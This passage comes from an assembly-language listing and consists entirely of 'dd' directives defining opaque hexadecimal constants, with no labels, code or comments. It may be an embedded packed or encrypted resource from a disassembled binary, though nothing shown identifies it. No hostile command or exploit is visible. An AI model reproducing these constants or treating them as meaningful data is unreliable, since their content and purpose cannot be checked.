5D00FA3Fh, 0AEFBA0C5h dd 11DB12h, 22850592h, 0E4BCB897h, 0BB334900h, 2DA79A58h dd 918900EFh, 0B4F5BD9Fh, 4A7C35Eh, 0A754F877h, 3511C260h dd 99F646h, 0B3AE998h, 9F9C535Bh, 3C76DB0Fh, 9219B88Bh dd 0B45D22E6h, 3ACE9720h, 4861A6C6h, 83AB7FBBh, 1B4DB060h dd 3C2040CFh, 3F4E0004h, 880EAEE4h, 1D00282Ah, 0BD3BB3E1h dd 0FF96E2h, 87F87D9h, 8039C914h, 56A5C201h, 0CDE4DF01h dd 3ED47E0h, 0F613405Ch, 2DC846B4h, 45005ECEh, 3567D1E9h dd 14CB7534h, 403C6A09h, 0F1921F00h, 46DB9E10h, 1A8EC3Ah dd 7D5855F5h, 1CCCA0A4h, 30D87E17h, 3BC8E5C0h, 0B80D0E9h dd 0DC793DACh, 0DBBAA800h, 8956575Bh, 80D42D07h, 2CB6B46Ch dd 22953069h, 0CC6238F8h, 6B53588h, 1A4E8C41h, 243E78BBh dd 910E0178h, 384771EBh, 1D69FDCh, 39BD9E4Dh, 283D3A36h dd 7F103E4h, 0D00ED02Ah, 1D153B03h, 5BDF5DEh, 5ED5252Dh dd 0B0C201ACh, 50DBA7FCh, 6E89C4E8h, 96297B3Fh, 0BA11179Fh dd 4F5B03FCh, 1E2BA9BDh, 187F66C0h, 0C15580FBh, 3876D81Dh dd 18259340h, 2E9DB9Dh, 0EE4C5C4Bh, 24B0FEB4h, 20843105h dd 65150D23h, 905425h, 0BA563FC9h, 248866h, 0AC1CD12h dd 897607E7h, 0A70ECC00h, 9E84D5D8h, 71FC0010h, 0C4B7C3Ah dd 29385588h, 96FCD0A2h, 9E1DBC1Dh, 81CCD900h, 6D7938Eh dd 0C244DFBDh, 912EB8D3h, 3A1FFD7Ch, 0B00B450Ah, 0CD085823h dd 2447884Ch, 205F6389h, 4AFDA584h, 92020499h, 919D17A1h dd 7CCD374h, 0F40A1990h, 0CBCA877h, 0A6971887h, 7FA48C8h dd 0CE0013EEh, 67312B80h, 0CDD5DD0h, 0F22710B4h, 3A1270C8h dd 8014CA69h, 591D0258h, 40434074h, 18C33CA0h, 711B5DE8h dd 421F5279h, 75092746h, 257410AAh, 88B0AA88h, 15F0F490h dd 0D3CA8852h, 0E828C619h, 7DD01E20h, 0EC9293h, 0FFD5A1FBh dd 0B9ACC6D0h, 0FCE0D668h, 0F3B51283h, 7B509871h, 6B7729D7h dd 3DE162ACh, 431D34A0h, 0F21A2A19h, 0A029FBB8h, 0A3AFA7CCh dd 0B3BD12F0h, 6F3C4067h, 2110C893h, 0B46EC700h, 0CCB5F831h dd 40DA0355h, 0FBBF3BECh, 18C400C4h, 14D4F957h, 987A729Dh dd 36FE3F71h, 2B6F02F7h, 1E77FFA8h, 4C3A8880h, 0F2016D22h dd 0C87D3C17h, 91A8F608h, 0B45B55D4h, 3D1DE808h, 383118Bh dd 1AE5AF76h, 0F0FB217Ch, 3F048DD6h, 0C9996658h, 0E4199880h dd 83530069h, 0A407B08Eh, 0B76176CAh, 0CEF404B8h, 8834DBF1h dd 0BCC70475h, 40F96A0Dh, 33C55334h, 0C0133051h, 63E1DE80h dd 0E7042438h, 0F16643A9h, 27674448h, 39524F0Ch, 442828ECh dd 3B1E90EAh, 258C9221h, 447D68F8h, 0F00CDB77h, 18C7C93Ch dd 5A4040B9h, 0EF64E8C3h, 3CB0756Fh, 1000D2CBh, 353DC982h dd 8DE890BAh, 2C0196F8h, 43C293A8h, 0DC440C78h, 0D7DB2009h dd 54C93301h, 2315C0B9h, 0C7344CC0h, 14D76F0h, 0A7A99352h dd 0CC6A22B3h, 28487C45h, 6E400018h, 4C736F79h, 13530050h dd 1A0370A3h, 0B898FDB7h, 56B92508h, 0E094806Dh, 5942E384h dd 7242EF8h, 2939ACE8h, 0BBE8AFh, 0DF6CF4A1h, 391C4F9Bh dd 0ABF2CE67h, 1AA688BCh, 840598FFh, 0CBFEF1FCh, 8414B810h dd 0AE0B6h, 24D5C393h, 4E152303h, 20F848h, 0B0E8420h, 1D1CA4h dd 5F664DEDh, 0FD8AEE54h, 0D36C0C3Bh, 52AF00B0h, 0D9043D83h dd 3CEA0AD3h, 16B847F1h, 542B00BCh, 16DB75DEh, 7E67D12h dd 7C335027h, 0F3F9803Ah, 20C14056h, 1ED1805h, 0B00067A0h dd 0F7760DDBh, 85803DEh, 0C29B41CFh, 70414Ch, 39A98C67h dd 7738FBDh, 998DB94Dh, 2B4210A7h, 0E650D8A5h, 0BD03F9D0h dd 12D39B65h, 151DD855h, 1328EA21h, 116698Dh, 5F2A2584h dd 94AAE6DCh, 0AFEA80E8h, 6BFD3093h, 1C5429C1h, 22D771F2h dd 0A07F931h, 0A7086A19h, 21433BE0h, 0D37ECFh, 387E1746h dd 6E0124E1h, 12251400h, 0A2B5C1CEh, 50070E81h, 0DCFA57h dd 94014B22h, 28240555h, 73178C64h, 0C884300h, 3C77DACh dd 67639DC2h, 36D0E8B0h, 95019708h, 247F5DAh, 0E03204C4h dd 98C24685h, 0E34C3C80h, 83DF81F8h, 28365ED7h, 429CB972h dd 4100B1EDh, 0A8AC1C99h, 6FC7F9C0h, 5C0229D4h, 8C432174h dd 684454E2h, 39F80C54h, 2709A090h, 84ABCA93h, 0D8049D04h dd 648304EEh, 0C0D020C8h, 0E1F7F4C1h, 26902554h, 0DB1441F1h dd 0CEC82447h, 51584209h, 0D530A0A0h, 0B82E6A8Dh, 26357144h dd 840DA53h, 0EC44C369h, 5CEA1405h, 28ED984Ch, 0B988C02Dh dd 532B19CCh, 12106070h, 0DBFC4820h, 0C7760408h, 0C0303C2Fh dd 0F39D824h, 8D96F80Fh, 2B3D0020h, 14C8DC5Dh, 8855D224h dd 103B8Bh, 0DEF85A54h, 0D3F26E09h, 46AC92ACh, 1F4F0574h dd 8A54E03Ch, 9B1D0428h, 34806EA0h, 26A9CEA5h, 85A0F18Dh dd 0D01FE5B4h, 6F710ED0h, 68764Dh, 3CADAFE3h, 505C5625h dd 76480C6h, 0D9E1B747h, 92036187h, 0C68C740Dh, 658C0801h dd 0C06D8258h, 0F2222432h, 0E74F4C12h, 29AA2440h, 0FCE653C0h dd 8689B26h, 1F0B8566h, 0E4C9E108h, 8187893h, 0BD9DD550h dd 437AB041h, 4C41F60Dh, 0B884C434h, 0D079554Dh, 8B6E69A8h dd 140095FAh dd 0A30D574Eh, 0A18D66FFh, 4824C35Ch, 553B0054h, 0FE4FC409h dd 0A3049259h, 1E43F77h, 0F7B3C091h, 0ED3D980h, 0DA74E36h dd 0EBD45513h, 0B18CD4D1h, 0AF1B870h, 6F4EB777h, 0DDED036Ch dd 2900BFF2h, 0BC07CA43h, 1675391Bh, 20440E88h, 951CFC24h dd 0E60054ECh, 772A4FE4h, 74FA8FEAh, 18075775h, 0FD8C1280h dd 0CC077871h, 35896BF5h, 1F5148F1h, 0FC32C5F9h, 93F7F50h dd 34E56EEh, 3D807780h, 4CFACEECh, 131F7348h, 980F3064h dd 0E0C3C55Ch, 93847401h, 0A8308F4Ch, 401F55CDh, 735D6FCCh dd 0D4B7054Fh, 0CBCFAD59h, 427108C4h, 40F82ED7h, 288F74DDh dd 8EA9B509h, 0BC5010AFh, 10C90079h, 25D8D0D2h, 0CB2CAF4h dd 4D13E501h, 62D3A792h, 3ED40B60h, 0C29E8AE8h, 0CB7982A2h dd 1C486FACh, 32495601h, 0FA640FE4h, 58DAC1C8h, 7910034Fh dd 5026A099h, 200144DEh, 0FE688E89h, 0CEF0420h, 0A54AA9F5h dd 3B5446C9h, 62009DA4h, 0DE5147C7h, 20D310h, 1A685BA8h dd 0EC31C882h, 0E8950205h, 0D005FF55h, 8220411h, 3F109067h dd 0C8881D72h, 65034735h, 10F050EDh, 0AB1C47CDh, 0E3000871h dd 80BE07BAh, 0FE542937h, 718F0220h, 68408ECCh, 422E65D5h dd 4C071CE2h, 0A240D02Ah, 86B7CEh, 7E4569Eh, 0C35A0CEFh dd 2CB4E812h, 14BC98D0h, 0BDF130F7h, 0A8257418h, 0FC781B26h dd 144BC662h, 0B3A6D120h, 935C0F20h, 0A4037D29h, 3107DF04h dd 0D0D1F064h, 888AC3B0h, 53AC2ECDh, 821D8914h, 69F22048h dd 0C10088B8h, 0C95EFFA2h, 39B6D20Ch, 0C05051B5h, 1F772653h dd 0A6660070h, 0C0B36C3Fh, 0BCF0D462h, 555F40BDh, 0B515166Ah dd 2E806CAh, 5E7BD930h, 1CE8BF54h, 31A2990Ah, 0D009439h dd 3D3B1A3Ah, 4D3E619h, 0E7560657h, 83C5C00Ch, 5552DDC6h dd 10372908h, 0D8088600h, 4885CE55h, 0CD030C4Dh, 8FD2D5A7h dd 0C6346C05h, 443836ABh, 96E62C55h, 80B9E5D4h, 8C1844C8h dd 66113F01h, 0D60110C8h, 0B872E60h, 0EC0A2A3h, 0BCE6F002h dd 6F910720h, 0A8B14920h, 5446F500h, 9D6550CBh, 0B68AD0A8h dd 4471691Eh, 0B0C014A7h, 0D47D5050h, 56CCA481h, 0D4C9B0B7h dd 4E1A412h, 4E03869h, 4D0DCAD8h, 0FEA2801Dh, 0D1307114h dd 3DB11D5Ch, 1008D3F6h, 36C173AAh, 214D0CFEh, 1ACC407Ch dd 0C109C8BBh, 81EFE2EBh, 0E12D5F5h, 26E80C24h, 815887E6h dd 0AD550465h, 0FC40D66Ch, 5A254F5Ch, 0DC943Fh, 80D573E5h dd 0F50F6770h, 0FA0C84A1h, 0A2C61068h, 640048B2h, 0C48C6634h dd 0DDCE58h, 0E56C450Ch, 0A81587A5h, 1D81A304h, 9180C4D7h dd 3D32D3B3h, 6CB74D80h, 0D8BCB160h, 1768809Fh, 0D1D6E563h dd 1E34096Ah, 60C07A44h, 0B093C0BFh, 1D0E108h, 10476BFEh dd 2CD476C4h, 0CC3DF4BBh, 7A4450C4h, 0E09829F2h, 3F5818C8h dd 0F100FA4h, 4101F612h, 30E1BE59h, 5D003010h, 9D1BCBCEh dd 5CB3895Eh, 9A3F8C33h, 0D6C90489h, 9698C0C1h, 6C4038DAh dd 0DDBE81Ch, 726F2C6Bh, 37018F48h, 785610A0h, 7C0F581Ch dd 1E8CD9F1h, 0CD852447h, 3E826CF7h, 2CC09406h, 1E0C5A25h dd 5C4DC51Fh, 2F4CC063h, 0FA005B73h, 458F05FBh, 0CBF49480h dd 0E021AE38h, 413C6E43h, 4B6F0C18h, 9152230h, 12F3D166h dd 9F8AC020h, 2009EBBh, 7A472052h, 0E1B8A967h, 67ED5E30h dd 0B0D1D8C1h, 308EB439h, 5B4F99E4h, 0C9B98801h, 146C8777h dd 320CA92Ah, 36903FC5h, 7CE4E490h, 54002458h, 0B61924h dd 97F4A0C0h, 0C0C34694h, 2E66295Bh, 1ED0A032h, 35CC1676h dd 0E8A480E9h, 122A1BCAh, 8118D8CDh, 0D5112C92h, 2BE50B40h dd 9CA00B67h, 0D8312D18h, 2854A0C7h, 0BC1460B0h, 4D0FEDBh dd 5116FD9Dh, 1DA49080h, 0F0376C0h, 401C14B5h, 2D9DC31Ah dd 12C0F579h, 0FF07F8B1h, 0B66C934Dh, 0E7B6620h, 40584FBCh dd 0F21CB4A4h, 0CF156D1Fh, 0D0EF29h, 870D6F15h, 0C3CB638Ch dd 76E51D91h, 0E20B9B90h, 74527314h, 0C41C0B9Ch, 0D132870Eh dd 60F39C52h, 567E75Eh, 5564FB78h, 0F408C7DAh, 0D07C855Ah dd 6B282E1Ch, 418C7B01h, 6555DF0Ch, 2C6E4EF4h, 4FB4F5Eh dd 0D039B11Eh, 9C857D94h, 9802FF04h, 2CD02FC5h, 1E9A030Ch dd 9C801DDCh, 0F9F04085h, 93572768h, 0D1EAB530h, 0E1749Fh dd 0A83D521Fh, 5594333Fh, 0D86931Dh, 0D907E8E4h, 78906936h dd 0C21F5BCEh, 834E5861h, 0D5BFB8A2h, 0B15B1C48h, 828ECA1Fh dd 16551800h, 3420109h, 561EE6A7h, 7938C1C7h, 6CD1A458h dd 2A8DCE86h, 1C162A59h, 0EDBE00D4h, 8A0892Bh, 991723BFh dd 1EFBC5A5h, 0DF7E0098h, 0B4455AF2h, 73316A00h, 6E381108h dd 8F700093h, 0D3896DB1h, 7C0E8D85h, 8C90EDB9h, 2C042156h dd 1D016D96h, 3C7283B4h, 6FE0951Bh, 1601866Eh, 67DC5BC2h dd 0BEF01C45h, 94AD30ABh, 28274E20h, 9E065AE0h, 0EDF73B64h dd 41496708h, 0CE27C3F4h, 791869B8h, 2801A91Fh, 61B43F4Ch dd 0D4150109h, 659DEEE2h, 0CB40E272h, 8F063558h, 91ECD838h dd 0EA4400C8h, 6AAE4C12h, 0E97A5884h, 89D83936h, 1CCDF20Ch dd 934374EDh, 813A435Bh, 0C8F0AC71h, 30C04784h, 3B8968D6h dd 7339C0AFh, 33887806h, 826A3603h, 0A11FC20Bh, 20808FCAh dd 0B278BEEDh, 50032B1Bh, 7E5AB073h, 0F0880249h, 51965729h dd 70EFFE40h, 4235D500h, 47FB9E6Ch, 62DCB062h, 0DACCFE68h dd 4932C5C0h, 55B94C1Fh, 0DC07A1C7h, 1F3F14F1h, 33AA2F0h dd 0AB16B47Ch, 38032366h, 0CA17964Ch, 20781Eh, 3FDA7C2h dd 0F7F2B7E5h, 82419400h, 7D3C986Ah, 999D0EBEh, 1EC353E6h dd 64A85721h, 860101ECh, 8AA335F0h, 8BF0175Eh, 1AED0305h dd 41A5C1A8h, 0FE71C0C7h, 6EF67A33h, 21C4B507h, 4851BF05h dd 0E3C795E0h, 0EEA9004Ch, 578E67Ah, 0FD48CBB6h, 7058602Fh dd 394AE74h, 0D1E84D6Ah, 0FAC81D69h, 2F00B4F7h, 28CD5336h dd 191214Ch, 0D007831Ch, 8025B5CBh, 12CEF780h, 0A3411Ah dd 0AAF0177Ch, 2BB5B40h, 6C733Ch, 0D488B0E2h, 710FA9h dd 793DF3B6h, 0F26F9C67h, 0D6CEF0Fh, 96E16323h, 4529118Bh dd 395A02B7h, 0C3EFF149h, 0A62907A9h, 82AA0A40h, 682FC179h dd 0ED4883Ah, 887A3E88h, 0F100C3CDh, 1C2D52B5h, 938F033Ch dd 747807E2h, 73A8CE00h, 0A98A5DA7h, 0A0370713h, 500D8B1Ch dd 70A628CAh, 4A00C098h, 6DC7CBE4h, 12F63F9Ah, 0C955E7h dd 0C427126h, 1039550h, 4E674D18h, 0CA11D83Dh, 615A1C0Fh dd 0B79D4309h, 0A5E02859h, 0DC0195F0h, 8819F1BFh, 0E2EC0EDAh dd 0D93700DDh, 6662404Dh, 0E92AE46Ah, 0DE00ACC4h, 0F4BB3E73h dd 60EAF8B8h, 0D626D45Ch, 0B100E82Dh, 0B51A870Ch, 1CE3418Dh dd 40DD856Ah, 4B7E0D01h, 8301F2C7h, 1C44E1DFh, 218328D1h dd 1233D5BDh, 0CE035B98h, 38088F00h, 888464E8h, 52C700B6h dd 46C3B986h, 0CB00F497h, 0DF47E34Bh, 28AAF328h, 747CF0D8h dd 621D002Bh, 94C0D49Ch, 9D00A82Ah, 0CEEB54EDh, 72E95BE7h dd 1EE400D1h, 0CF9372A6h, 31036DEEh, 300BC33Dh, 43D5D1DBh dd 686ED0h, 2608898Dh, 7C71024Dh, 79500300h, 2294308Ch dd 8D110018h, 75BE3CCAh, 0AF04F83Ah, 2782DA8Eh, 0EC94F4C0h dd 0B0A30076h, 1D38310Fh, 5138DDE9h, 8C30CBCh, 73101Ah dd 876E9D0Ah, 0D3336FDCh, 530302ECh, 0DABB8E17h, 601E0B6h dd 288D009Eh, 0C463F8E4h, 0F90737BDh, 702B3CF5h, 0C07E81F2h dd 5A585A4h, 98DCF6AFh dd 0B3DC0FE4h, 35946120h, 0BD01E63Eh, 14F4A788h, 5DF83A40h dd 226E3B67h, 79909507h, 48D84060h, 0F1002AD0h, 0F5F07C99h dd 20BCC1h, 850317E9h, 0A0CB4E5Dh, 4C6BCE00h, 7591FA6Dh dd 32BA00BEh, 58C27DB0h, 2D008374h, 526CA464h, 244AE9AAh dd 1184222h, 6A218D75h, 0B647F8F4h, 5E5FEB15h, 0B58000D8h dd 26745D61h, 594D0013h, 63C54A86h, 3300F781h, 0AF40B7EFh dd 37B1E8Dh, 0BEB6E62Bh, 8C936098h, 9BE9D9C0h, 72ECEB00h dd 54A6488Eh, 9A14018Fh, 0CBCF0F26h, 0B36C0B4h, 6FE04C01h dd 0E998A0F1h, 2E5A2DCh, 6EAC39F5h, 2460B6D7h, 86003120h dd 0F203471Ch, 1D4133B0h, 0CF304E9Eh, 0FE409F26h, 676EDD5Fh dd 0A2421F17h, 0B2E60300h, 280D6Bh, 38E89681h, 1327BF62h dd 7275048h, 0E64830D1h, 0E5D55D71h, 3E46ECh, 0FE2A9985h dd 0F8587355h, 67B7FD00h, 0E4BCF4C9h, 20DD676Eh, 0C3B3F044h dd 3100AE12h, 4E8CA62Bh, 13F6BBh, 0AC91DC7Ch, 0D0CC4899h dd 38CEE00Eh, 0C82CE04Bh, 2C15F38Dh, 0BD3A6Eh, 0D6AEEBFFh dd 0C61E09E3h, 0F840A6CAh, 5C0E85E6h, 0D31A0055h, 0BE60C0F4h dd 0BF01109Ch, 46FD5E4h, 7BC82EC9h, 2F393938h, 0B003A007h dd 313D7041h, 1790AD07h, 0F6D2A300h, 9CA3CACh, 0A5BA241Fh dd 55380457h, 9F4C80F3h, 79900399h, 0BC1FD0F0h, 1D006924h dd 0C06D89AFh, 127F3AE1h, 44550073h, 0D42E033Bh, 3800B588h dd 0C68D4128h, 293E35Dh, 0E67326D2h, 4C4153A3h, 43587072h dd 7B3FF900h, 29C4C505h, 0BE1200A1h, 0E67FDEFAh, 8701E011h dd 3BD2B94Ah, 20802E8Dh, 0FE9F5847h, 401D33D1h, 6585F5EBh dd 0D7C32CA9h, 3B47E127h, 0AF7320h, 51B55CAh, 0DD7163EEh dd 8A95401Fh, 25110179h, 5DBD8EAAh, 4033A842h, 0E5984B70h dd 0F167FCh, 51EA3D7h, 16C86BE8h, 0B4D06900h, 0ABB252B3h dd 42A2007Bh, 0DD6DADAEh, 3B079B8Fh, 1D56D6CAh, 7F904B90h dd 0EFE90044h, 937981AFh, 133FEA5Bh, 0CF060061h, 24429E23h dd 0C0F817BFh, 84760080h, 0FCB9308h, 9E1E9200h, 468542E9h dd 0D2C101EFh, 39F740E7h, 0C90070B0h, 14075B98h, 52A7A8DCh dd 5FB1403Fh, 2B3DF75h, 0EA81F84Fh, 27602FB0h, 9416EDADh dd 0FE9EE8h, 81EF7CCBh, 0CF009022h, 0FEEE9618h, 1450CA34h dd 97E3D572h, 0AB23E803h, 76B395A2h, 0E0010E6h, 0CFA173ECh dd 3CCD88F7h, 5B80B544h, 9716A289h, 3F012E1Fh, 0C29228F8h dd 5FC2F08h, 0FE6700D7h, 3AF71E0Dh, 0B00A39Dh, 1341C00Ch dd 906FAE25h, 0C4431D5Bh, 0C3FAC0E1h, 0C857C936h, 62767901h dd 0FEF7BFA3h, 0C0F8A7D8h, 0DCEF86CCh, 0C3000EC7h, 15871EB1h dd 2CD485h, 53D3430Dh, 0EF7D9BBh, 467ABF00h, 64DE82F6h dd 0F19E0093h, 0F05C29D2h, 2D0372E7h, 0F66A5744h, 2FD0E140h dd 67D304D4h, 0F06FF069h, 0DB957C68h, 0E4D8BA01h, 0C0B06386h dd 0B8722420h, 6F5003Eh, 0D66D131Eh, 8E006958h, 0CE22709Eh dd 7F9D066h, 0C33B2147h, 0B968A035h, 29005896h, 0EE7C6B4Bh dd 1F41432Eh, 33CA51Fh, 98C37FBAh, 8C6A9087h, 0BF05F5B0h dd 7821CE82h, 0FE76D080h, 89150062h, 267BFF25h, 4FE897E0h dd 4145AC00h, 0D43F6D5Bh, 0A805002Fh, 20553486h, 1300D71Dh dd 0F946E68Dh, 75BFC63h, 0E89AA9D6h, 31F5D087h, 0BF009076h dd 6FCF078Bh, 7D194EFh, 790839C5h, 0A1E2402Ch, 291C12C4h dd 0DF804757h, 0B6C36836h, 6E3102A3h, 0DAE65BD3h, 14F02A40h dd 0A091291Dh, 0BEF91D03h, 0E0D0D26Fh, 8BCC70h, 0DC58786h dd 9EDC9627h, 0ACAAB800h, 0AE68B41Fh, 25AF2675h, 1160194Ch dd 5B0880B6h, 21C3D9Eh, 0FAF60034h, 0C0E1781Eh, 0DB00601Bh dd 0BEE3DFDEh, 70933D74h, 14A6002Ah, 25FDA923h, 77000C2Fh dd 75869E52h, 65B008h, 1E0E2062h, 2317B46Ch, 0BAA85A39h dd 0D68A071Fh, 7C40367Eh, 0BC7BB5h, 0A1135368h, 63747903h dd 94EED207h, 0C6E02F26h, 160C25FAh, 2C2A73h, 5B624DD4h dd 80B013E2h, 90081E02h, 604EA68Fh, 19D535BAh, 0D8987920h dd 75D17002h, 0D1AAF203h, 0B8ADBDBFh, 1D233A20h, 2CC108D3h dd 1C6F005Eh, 659F6637h, 5B00A2ECh, 93B484Fh, 1F7B478Dh dd 0C0887784h, 0EB1F5831h, 0CD006F1Dh, 9836058Ah, 72442127h dd 7837005Ch, 3DE994DCh, 81794E19h, 0CAFB2D17h, 0C3D600FBh dd 441F40ABh, 0AF882300h, 8018090Ah, 0C9C10558h, 0C04C83CFh dd 407DFB11h, 2A9CE700h, 0D2F759B6h, 15B30E08h, 6EC0C2F5h dd 0CB445A9Fh, 0F1DBD124h, 94C8D601h, 0C0D3183Fh, 4DED8FCh dd 0E27D9E80h, 0C2F8D097h, 6700CD1Dh, 688657E4h, 701B6Fh dd 853A534Bh, 8E07F5B4h, 0DB871A07h, 73A09AA4h, 1910590h dd 0B9923F4Bh, 0E8D93375h, 0EA0DE2F2h, 787EB8EFh, 0CD49D400h dd 0E72E0083h, 0E22AC329h, 0A290EE57h, 0A6B8104Ah, 0A64DC900h dd 916FE8F3h, 255AD500h, 0CB288A63h, 9DA09E3h, 0B4001A2Fh dd 235895F0h, 3480A709h, 92EC46F2h, 0BCF75F84h, 0A8974020h dd 0E80F4E1Fh, 8F88DD40h, 0B86FB0F5h, 792D01A0h, 0D137EF85h dd 4E4030F7h, 9202AA07h, 1AD0F0E1h, 2B3957h, 0BDF4A7C5h dd 622DDDD7h, 4CEE700h, 189B70F6h, 631D018Ah, 381448AFh dd 288F31ACh, 430A01B4h, 58DAA671h, 0A1D1AFD3h, 1EC4EBBFh dd 7F170069h, 0E26C10A7h, 41004BDDh, 0D9BCF81Bh, 1A0D092h dd 3A7E0321h, 0CCAF15D3h, 2B0365AEh, 0BC75D4Fh, 31FFF819h dd 316460CAh, 9D010C67h, 0E01EE601h, 0E4586946h, 1D6E4DE8h dd 0BD4C136Bh, 0E9058F8Bh, 9387E0A0h, 0D00E2E0h, 0FE35EC71h dd 0BF098Ah, 0B395B796h, 9FF95DF8h, 0BA2A039h, 80AB5412h dd 3FF66040h, 18DF1D31h, 0C2904042h, 0CEAC6E8Eh, 0A24A28C0h dd 0ECC737FEh, 1F2876E5h, 7BDB9Eh, 0FFA8B79Dh, 275C79C3h dd 2DC400D0h, 39E3B03Fh, 94163E4Ch, 745D0200h, 2AD55EB5h dd 96C9C31Bh, 688CDAB0h, 1388A4h, 0ED497F6Eh, 741B4D41h dd 1EF83Dh, 782A62A2h, 0E82EC46h, 24A03C1Ch, 3A192900h dd 440F02DFh, 23B604C6h, 80E1F6BBh, 38B91E2h, 89F017A1h dd 4588A5B7h, 0C70E81DEh, 0A0E32492h, 0A97FB111h, 3DDA006Ah dd 0B7E6D580h, 4C016D05h, 0DE431991h, 7D80DADh, 1E7100E9h dd 9473DB36h, 59259087h, 0E9FCDFh, 1F304885h, 920F97B5h dd 0C09AD904h, 653F63DDh, 665706C1h, 19B63E20h, 2AA29E0Fh dd 457CA0B5h, 1FA4D0E7h, 0C707F2EBh, 0CED9AE58h, 2500524Fh dd 0CD4887F5h, 27C5C100h, 3B42F295h, 0F3913C04h, 0FBFC4407h dd 75DCC09Fh, 0DA748F50h, 0AD1A2513h, 3257AC00h, 333FDBh dd 7BBC9CACh, 387DDFE9h, 43E70900h, 3475913Bh, 1E79FEF5h dd 83B580B6h, 9E676417h, 0C3A85AA3h, 0B90F0A7Ah, 0CE593D82h dd 7033CB1h, 98C094A1h, 12934B38h, 0D5E4A0h, 290472B8h dd 3360F355h, 0CBC0767Ch, 0AF100D2h, 0E2306795h, 593A6A2Dh dd 512472B9h, 4E40747Fh, 0AD639Ah, 37C5B1D4h, 55BAEE11h dd 0D2BB8707h, 0C72005DEh, 438BE2h, 29CB35AAh, 5309D932h dd 28B448h, 15E831F0h, 0A0281095h, 276CED8Ch, 0E4016E67h dd 80F80E04h, 75A97DA8h, 0C0DB081Fh, 779E5328h, 0B89CD63Dh dd 0BF5EA200h, 18FC5766h, 61A54712h, 2E1446CDh, 0C86284h dd 6EE5688h, 3E95722h, 16E37A51h, 6088989Dh, 37033BA3h dd 21B712A1h, 9F89B8FCh, 3C490047h, 0EBBE72D0h, 2207F71Ah dd 0F11437B8h, 928905B0h dd 83D90061h, 825B4AC8h, 0A401519Eh, 0F2256311h, 81C83D26h dd 358F1334h, 6AA20004h, 0A5D10EA2h, 7313A01h, 6F11236Eh dd 2DB5F0D3h, 48C33AB7h, 0EEABB800h, 0F9DCBCC1h, 1C2F4100h dd 0DFDD4ADAh, 6A24170Ch, 160D03B8h, 0C7CACBDEh, 15490640h dd 0ADF1C600h, 1D9FE5E8h, 0F4730021h, 5AA07737h, 0D15071F3h dd 0DB00D590h, 428DF7AEh, 376BCDFh, 0BF197481h, 96886556h dd 7A7FCC21h, 2B132700h, 78C39475h, 6F7907FEh, 0D0EA99DCh dd 4E3C9D73h, 0EB904609h, 0A0E80F7Bh, 0D1C3E963h, 599B00B8h dd 7D783041h, 0A1008AAFh, 0E77CA9ECh, 193E360h, 385B79D3h dd 70624CFEh, 92097B94h, 828D33C6h, 843B89ACh, 0B4D0F890h dd 50BD90F3h, 1FD9495h, 81BA2F52h, 0C4DD7C5Eh, 8A042BD5h dd 9F71267Bh, 2CD99481h, 550024h, 0BE1C97EBh, 6D09F644h dd 6C3E1A00h, 0FACB45F0h, 0B7200C3h, 394DCCB7h, 23305905h dd 0C52A08BDh, 637A0768h, 60413F16h, 31D5F708h, 936B6100h dd 493A14CFh, 0E299007Bh, 52A84059h, 1C00F288h, 0B53306F3h dd 0F25DCE29h, 66CC02DFh, 8CEE84C3h, 0E6C91540h, 952E4C00h dd 76A7B240h, 58F60001h, 6E61C469h, 1100E428h, 0D0248843h dd 4C4CAC2Eh, 4F0FB00Fh, 6220AFEAh, 8D7A4E05h, 0F4EF4A0Ah dd 0C500F0ACh, 639C7E89h, 0D52F1C32h, 30F864F1h, 8BF4EBEAh dd 0CADB7F00h, 8DE03790h, 937C02E5h, 40C82DB0h, 0DB80B0E3h dd 921E52A2h, 0BB95F67Dh, 0F44904F0h, 0E77148B9h, 11686096h dd 0BEDEF000h, 0A2C98F1h, 0A4B8006Dh, 619D7EDDh, 0F00022ECh dd 0F162DC07h, 0EBB67C8h, 60CD6A4Bh, 0EC36B4E0h, 4000D0DBh dd 8487E2B8h, 72082CBh, 4E67FAF3h, 62F8B038h, 0D1007B0Ah dd 36E8F48Ah, 4A59DABCh, 48F8003Ch, 7A697764h, 68B49700h dd 0E45E62F4h, 390407EDh, 40E1F847h, 0BF34554Dh, 0BECA0D0Bh dd 4CD580F6h, 0B077D893h, 8CE82680h, 0ABBC0A6Dh, 24E900A8h dd 0ADA20E23h, 0EC3E1B24h, 184CFD1Eh, 0A251067h, 313D389Ah dd 319C6604h, 2B42717h, 2330B418h, 0FC4B073Ah, 3001F05Ah dd 0FB3C6A98h, 992211C7h, 20F94E82h, 146CF272h, 0BFEEB401h dd 9DE00E03h, 0A6B7F4h, 602C3385h, 0CB6D047Dh, 2352B900h dd 0C0B305Bh, 0F9FA0092h, 21205835h, 6B1F9071h, 8CCFD5F3h dd 2F4B407Eh, 3ACF1453h, 0B25C9131h, 1315C400h, 0D9B385C2h dd 39B1D11Fh, 613BA7C0h, 77EF74C3h, 6BECE541h, 0C6F7CF2h dd 85B693DDh, 0FD3A3329h, 3AC3C96h, 0E51720Ch, 5B080A34h dd 141CB6h, 8450C19Bh, 0AA00E5ACh, 9E580BCFh, 0FCAE75h dd 311A5949h, 10032205h, 89807A00h, 173E5713h, 0FA520197h dd 34698DD2h, 0E9ED0CBh, 5A032F03h, 0C0316237h, 0BB8072h dd 0C22829BFh, 0A68D0470h, 0AEAD4E00h, 0CB6820B0h, 191638CDh dd 5414017Dh, 0D231C4CAh, 0FD40DC36h, 101EC900h, 0AB15D39Ch dd 71CA1CDEh, 0BBDC81B1h, 0F890645Eh, 0B503A71Fh, 946B2643h dd 0ACD8023Ch, 0B1E769E4h, 0C6B856E0h, 79DC5706h, 1421A12Eh dd 946AD659h, 0ADBC8D00h, 437BD139h, 0D7203A60h, 0EA8796h dd 631EB771h, 1F6D484Eh, 175BE100h, 0CEECDFF5h, 68350A73h dd 9CD09B12h, 73369C74h, 0B9D0BF60h, 140EBC63h, 20BA3C4Bh dd 0FB0852A9h, 0B4240377h, 0A426BEDCh, 303371B0h, 37008B7Fh dd 59273B9Eh, 0EEF962BFh, 0A555007Bh, 6D35EFA2h, 9F002116h dd 95E852D7h, 1202675h, 0BE7119E9h, 7880C1B1h, 0D23EA8h dd 1DC4DC5Dh, 7EFD5E70h, 1A1B3146h, 8E909BE1h, 0D3C8A4A9h dd 0BFD37B00h, 755BBAh, 4FD0A288h, 0AE829E0Dh, 4E2F7800h dd 0BD3CA730h, 0ACA90025h, 8DAFFD36h, 0A000D370h, 1B816FD6h dd 0FC7FB60Fh, 0C8F0F1E7h, 0DF992E34h, 0D56507E6h, 0EE10A050h dd 400B7D2h, 